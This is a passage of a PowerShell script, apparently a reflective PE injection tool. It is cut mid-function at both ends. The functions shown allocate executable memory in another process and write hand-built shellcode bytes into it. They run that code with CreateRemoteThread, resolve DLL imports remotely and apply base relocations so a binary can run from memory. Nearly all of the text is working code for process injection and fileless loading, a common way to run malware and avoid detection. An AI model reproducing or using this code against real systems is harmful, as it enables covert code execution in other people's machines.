[Ref]$NumBytesWritten) 1369 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) 1370 | { 1371 | Throw "Unable to write shellcode to remote process memory." 1372 | } 1373 | 1374 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions 1375 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) 1376 | if ($Result -ne 0) 1377 | { 1378 | Throw "Call to CreateRemoteThread to call GetProcAddress failed." 1379 | } 1380 | 1381 | #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory 1382 | [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) 1383 | $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) 1384 | if ($Result -eq $false) 1385 | { 1386 | Throw "Call to ReadProcessMemory failed" 1387 | } 1388 | [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) 1389 | 1390 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1391 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1392 | } 1393 | else 1394 | { 1395 | [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions 1396 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) 1397 | if ($Result -ne 0) 1398 | { 1399 | Throw "Call to CreateRemoteThread to call GetProcAddress failed." 1400 | } 1401 | 1402 | [Int32]$ExitCode = 0 1403 | $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) 1404 | if (($Result -eq 0) -or ($ExitCode -eq 0)) 1405 | { 1406 | Throw "Call to GetExitCodeThread failed" 1407 | } 1408 | 1409 | [IntPtr]$DllAddress = [IntPtr]$ExitCode 1410 | } 1411 | 1412 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1413 | 1414 | return $DllAddress 1415 | } 1416 | 1417 | 1418 | Function Get-RemoteProcAddress 1419 | { 1420 | Param( 1421 | [Parameter(Position=0, Mandatory=$true)] 1422 | [IntPtr] 1423 | $RemoteProcHandle, 1424 | 1425 | [Parameter(Position=1, Mandatory=$true)] 1426 | [IntPtr] 1427 | $RemoteDllHandle, 1428 | 1429 | [Parameter(Position=2, Mandatory=$true)] 1430 | [IntPtr] 1431 | $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) 1432 | 1433 | [Parameter(Position=3, Mandatory=$true)] 1434 | [Bool] 1435 | $LoadByOrdinal 1436 | ) 1437 | 1438 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 1439 | 1440 | [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal 1441 | #If not loading by ordinal, write the function name to the remote process memory 1442 | if (-not $LoadByOrdinal) 1443 | { 1444 | $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) 1445 | 1446 | #Write FunctionName to memory (will be used in GetProcAddress) 1447 | $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) 1448 | $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 1449 | if ($RFuncNamePtr -eq [IntPtr]::Zero) 1450 | { 1451 | Throw "Unable to allocate memory in the remote process" 1452 | } 1453 | 1454 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero 1455 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) 1456 | if ($Success -eq $false) 1457 | { 1458 | Throw "Unable to write DLL path to remote process memory" 1459 | } 1460 | if ($FunctionNameSize -ne $NumBytesWritten) 1461 | { 1462 | Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" 1463 | } 1464 | } 1465 | #If loading by ordinal, just set RFuncNamePtr to be the ordinal number 1466 | else 1467 | { 1468 | $RFuncNamePtr = $FunctionNamePtr 1469 | } 1470 | 1471 | #Get address of GetProcAddress 1472 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") 1473 | $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes 1474 | 1475 | 1476 | #Allocate memory for the address returned by GetProcAddress 1477 | $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 1478 | if ($GetProcAddressRetMem -eq [IntPtr]::Zero) 1479 | { 1480 | Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" 1481 | } 1482 | 1483 | 1484 | #Write Shellcode to the remote process which will call GetProcAddress 1485 | #Shellcode: GetProcAddress.asm 1486 | [Byte[]]$GetProcAddressSC = @() 1487 | if ($PEInfo.PE64Bit -eq $true) 1488 | { 1489 | $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) 1490 | $GetProcAddressSC2 = @(0x48, 0xba) 1491 | $GetProcAddressSC3 = @(0x48, 0xb8) 1492 | $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) 1493 | $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) 1494 | } 1495 | else 1496 | { 1497 | $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) 1498 | $GetProcAddressSC2 = @(0xb9) 1499 | $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) 1500 | $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) 1501 | $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) 1502 | } 1503 | $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) 1504 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) 1505 | $SCPSMemOriginal = $SCPSMem 1506 | 1507 | Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem 1508 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) 1509 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) 1510 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1511 | Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem 1512 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) 1513 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) 1514 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1515 | Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem 1516 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) 1517 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) 1518 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1519 | Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem 1520 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) 1521 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) 1522 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 1523 | Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem 1524 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) 1525 | 1526 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 1527 | if ($RSCAddr -eq [IntPtr]::Zero) 1528 | { 1529 | Throw "Unable to allocate memory in the remote process for shellcode" 1530 | } 1531 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero 1532 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) 1533 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) 1534 | { 1535 | Throw "Unable to write shellcode to remote process memory." 1536 | } 1537 | 1538 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions 1539 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) 1540 | if ($Result -ne 0) 1541 | { 1542 | Throw "Call to CreateRemoteThread to call GetProcAddress failed." 1543 | } 1544 | 1545 | #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory 1546 | [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) 1547 | $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) 1548 | if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) 1549 | { 1550 | Throw "Call to ReadProcessMemory failed" 1551 | } 1552 | [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) 1553 | 1554 | #Cleanup remote process memory 1555 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1556 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1557 | 1558 | if (-not $LoadByOrdinal) 1559 | { 1560 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 1561 | } 1562 | 1563 | return $ProcAddress 1564 | } 1565 | 1566 | 1567 | Function Copy-Sections 1568 | { 1569 | Param( 1570 | [Parameter(Position = 0, Mandatory = $true)] 1571 | [Byte[]] 1572 | $PEBytes, 1573 | 1574 | [Parameter(Position = 1, Mandatory = $true)] 1575 | [System.Object] 1576 | $PEInfo, 1577 | 1578 | [Parameter(Position = 2, Mandatory = $true)] 1579 | [System.Object] 1580 | $Win32Functions, 1581 | 1582 | [Parameter(Position = 3, Mandatory = $true)] 1583 | [System.Object] 1584 | $Win32Types 1585 | ) 1586 | 1587 | for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) 1588 | { 1589 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) 1590 | $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) 1591 | 1592 | #Address to copy the section to 1593 | [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) 1594 | 1595 | #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated 1596 | # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If 1597 | # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, 1598 | # so truncate SizeOfRawData to VirtualSize 1599 | $SizeOfRawData = $SectionHeader.SizeOfRawData 1600 | 1601 | if ($SectionHeader.PointerToRawData -eq 0) 1602 | { 1603 | $SizeOfRawData = 0 1604 | } 1605 | 1606 | if ($SizeOfRawData -gt $SectionHeader.VirtualSize) 1607 | { 1608 | $SizeOfRawData = $SectionHeader.VirtualSize 1609 | } 1610 | 1611 | if ($SizeOfRawData -gt 0) 1612 | { 1613 | Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null 1614 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) 1615 | } 1616 | 1617 | #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space 1618 | if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) 1619 | { 1620 | $Difference = $SectionHeader.VirtualSize - $SizeOfRawData 1621 | [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) 1622 | Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null 1623 | $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null 1624 | } 1625 | } 1626 | } 1627 | 1628 | 1629 | Function Update-MemoryAddresses 1630 | { 1631 | Param( 1632 | [Parameter(Position = 0, Mandatory = $true)] 1633 | [System.Object] 1634 | $PEInfo, 1635 | 1636 | [Parameter(Position = 1, Mandatory = $true)] 1637 | [Int64] 1638 | $OriginalImageBase, 1639 | 1640 | [Parameter(Position = 2, Mandatory = $true)] 1641 | [System.Object] 1642 | $Win32Constants, 1643 | 1644 | [Parameter(Position = 3, Mandatory = $true)] 1645 | [System.Object] 1646 | $Win32Types 1647 | ) 1648 | 1649 | [Int64]$BaseDifference = 0 1650 | $AddDifference = $true #Track if the difference variable should be added or subtracted from variables 1651 | [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) 1652 | 1653 | #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do 1654 | if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` 1655 | -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) 1656 | { 1657 | return 1658 | } 1659 | 1660 | 1661 | elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) 1662 | { 1663 | $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) 1664 | $AddDifference = $false 1665 | } 1666 | elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) 1667 | { 1668 | $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) 1669 | } 1670 | 1671 | #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified 1672 | [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) 1673 | while($true) 1674 | { 1675 | #If SizeOfBlock == 0, we are done 1676 | $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) 1677 | 1678 | if ($BaseRelocationTable.SizeOfBlock -eq 0) 1679 | { 1680 | break 1681 | } 1682 | 1683 | [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) 1684 | $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 1685 | 1686 | #Loop through each relocation 1687 | for($i = 0; $i -lt $NumRelocations; $i++) 1688 | { 1689 | #Get info for this relocation 1690 | $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) 1691 | [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) 1692 | 1693 | #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase 1694 | [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF 1695 | [UInt16]$RelocType = $RelocationInfo -band 0xF000 1696 | for ($j = 0; $j -lt 12; $j++) 1697 | { 1698 | $RelocType = [Math]::Floor($RelocType / 2) 1699 | } 1700 | 1701 | #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. 1702 | #This appears to be true for EXE's as well. 1703 | # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx 1704 | if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` 1705 | -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) 1706 | { 1707 | #Get the current memory address and update it based off the difference between PE expected base address and actual base address 1708 | [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) 1709 | [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) 1710 | 1711 | if ($AddDifference -eq $true) 1712 | { 1713 | [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) 1714 | } 1715 | else 1716 | { 1717 | [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) 1718 | } 1719 | 1720 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null 1721 | } 1722 | elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) 1723 | { 1724 | #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it 1725 | Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" 1726 | } 1727 | } 1728 | 1729 | $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) 1730 | } 1731 | } 1732 | 1733 | 1734 | Function Import-DllImports 1735 | { 1736 | Param( 1737 | [Parameter(Position = 0, Mandatory = $true)] 1738 | [System.Object] 1739 | $PEInfo, 1740 | 1741 | [Parameter(Position = 1, Mandatory = $true)] 1742 | [System.Object] 1743 | $Win32Functions, 1744 | 1745 | [Parameter(Position = 2, Mandatory = $true)] 1746 | [System.Object] 1747 | $Win32Types, 1748 | 1749 | [Parameter(Position = 3, Mandatory = $true)] 1750 | [System.Object] 1751 | $Win32Constants, 1752 | 1753 | [Parameter(Position = 4, Mandatory = $false)] 1754 | [IntPtr] 1755 | $RemoteProcHandle 1756 | ) 1757 | 1758 | $RemoteLoading = $false 1759 | if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) 1760 | { 1761 | $RemoteLoading = $true 1762 | } 1763 | 1764 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) 1765 | { 1766 | [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) 1767 | 1768 | while ($true) 1769 | { 1770 | $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) 1771 | 1772 | #If the structure is null, it signals that this is the end of the array 1773 | if ($ImportDescriptor.Characteristics -eq 0 ` 1774 | -and $ImportDescriptor.FirstThunk -eq 0 ` 1775 | -and $ImportDescriptor.ForwarderChain -eq 0 ` 1776 | -and $ImportDescriptor.Name -eq 0 ` 1777 | -and $ImportDescriptor.TimeDateStamp -eq 0) 1778 | { 1779 | Write-Verbose "Done importing DLL imports" 1780 | break 1781 | } 1782 | 1783 | $ImportDllHandle = [IntPtr]::Zero 1784 | $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) 1785 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) 1786 | 1787 | if ($RemoteLoading -eq $true) 1788 | { 1789 | $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr 1790 | } 1791 | else 1792 | { 1793 | $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) 1794 | } 1795 | 1796 | if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) 1797 | { 1798 | throw "Error importing DLL, DLLName: $ImportDllPath" 1799 | } 1800 | 1801 | #Get the first thunk, then loop through all of them 1802 | [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) 1803 | [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk 1804 | [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) 1805 | 1806 | while ($OriginalThunkRefVal -ne [IntPtr]::Zero) 1807 | { 1808 | $LoadByOrdinal = $false 1809 | [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero 1810 | #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit 1811 | # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint 1812 | # and doing the comparison, just see if it is less than 0 1813 | [IntPtr]$NewThunkRef = [IntPtr]::Zero 1814 | if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) 1815 | { 1816 | [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal 1817 | $LoadByOrdinal = $true 1818 | } 1819 | elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) 1820 | { 1821 | [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal 1822 | $LoadByOrdinal = $true 1823 | } 1824 | else 1825 | { 1826 | [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) 1827 | $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) 1828 | $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) 1829 | $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) 1830 | } 1831 | 1832 | if ($RemoteLoading -eq $true) 1833 | { 1834 | [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal 1835 | } 1836 | else 1837 | { 1838 | [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) 1839 | } 1840 | 1841 | if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) 1842 | { 1843 | if ($LoadByOrdinal) 1844 | { 1845 | Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" 1846 | } 1847 | else 1848 | { 1849 | Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" 1850 | } 1851 | } 1852 | 1853 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) 1854 | 1855 | $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) 1856 | [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) 1857 | [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) 1858 | 1859 | #Cleanup 1860 | #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed 1861 | if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) 1862 | { 1863 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) 1864 | $ProcedureNamePtr = [IntPtr]::Zero 1865 | } 1866 | } 1867 | 1868 | $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) 1869 | } 1870 | } 1871 | } 1872 | 1873 | Function Get-VirtualProtectValue 1874 | { 1875 | Param( 1876 | [Parameter(Position = 0, Mandatory = $true)] 1877 | [UInt32] 1878 | $SectionCharacteristics 1879 | ) 1880 | 1881 | $ProtectionFlag = 0x0 1882 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) 1883 | { 1884 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) 1885 | { 1886 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) 1887 | { 1888 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE 1889 | } 1890 | else 1891 | { 1892 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ 1893 | } 1894 | } 1895 | else 1896 | { 1897 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) 1898 | { 1899 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY 1900 | } 1901 | else 1902 | { 1903 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE 1904 | } 1905 | } 1906 | } 1907 | else 1908 | { 1909 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) 1910 | { 1911 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) 1912 | { 1913 | $ProtectionFlag = $Win32Constants.PAGE_READWRITE 1914 | } 1915 | else 1916 | { 1917 | $ProtectionFlag = $Win32Constants.PAGE_READONLY 1918 | } 1919 | } 1920 | else 1921 | { 1922 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) 1923 | { 1924 | $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY 1925 | } 1926 | else 1927 | { 1928 | $ProtectionFlag = $Win32Constants.PAGE_NOACCESS 1929 | } 1930 | } 1931 | } 1932 | 1933 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) 1934 | { 1935 | $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE 1936 | } 1937 | 1938 | return $ProtectionFlag 1939 | } 1940 | 1941 | Function Update-MemoryProtectionFlags 1942 | { 1943 | Param( 1944 | [Parameter(Position = 0, Mandatory = $true)] 1945 | [System.Object] 1946 | $PEInfo, 1947 | 1948 | [Parameter(Position = 1, Mandatory = $true)] 1949 | [System.Object] 1950 | $Win32Functions, 1951 | 1952 | [Parameter(Position = 2, Mandatory = $true)] 1953 | [System.Object] 1954 | $Win32Constants, 1955 | 1956 | [Parameter(Position = 3, Mandatory = $true)] 1957 | [System.Object] 1958 | $Win32Types 1959 | ) 1960 | 1961 | for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) 1962 | { 1963 | 